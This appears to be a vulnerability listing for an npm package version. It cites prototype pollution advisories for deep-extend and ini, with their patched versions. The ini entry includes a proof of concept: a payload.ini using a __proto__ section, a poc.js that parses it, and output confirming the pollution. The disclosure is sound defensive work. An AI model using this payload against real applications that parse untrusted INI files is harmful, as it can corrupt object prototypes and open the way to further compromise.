All the vulnerabilities related to the version 0.1.0 of the package
Prototype Pollution in deep-extend
Versions of deep-extend before 0.5.1 are vulnerable to prototype pollution.
Update to version 0.5.1 or later.
ini before 1.3.6 vulnerable to Prototype Pollution via ini.parse
The ini npm package before version 1.3.6 has a Prototype Pollution vulnerability.
If an attacker submits a malicious INI file to an application that parses it with ini.parse, they will pollute the prototype on the application. This can be exploited further depending on the context.
This has been patched in 1.3.6.
payload.ini
[__proto__]
polluted = "polluted"
poc.js:
var fs = require('fs')
var ini = require('ini')
var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)
> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted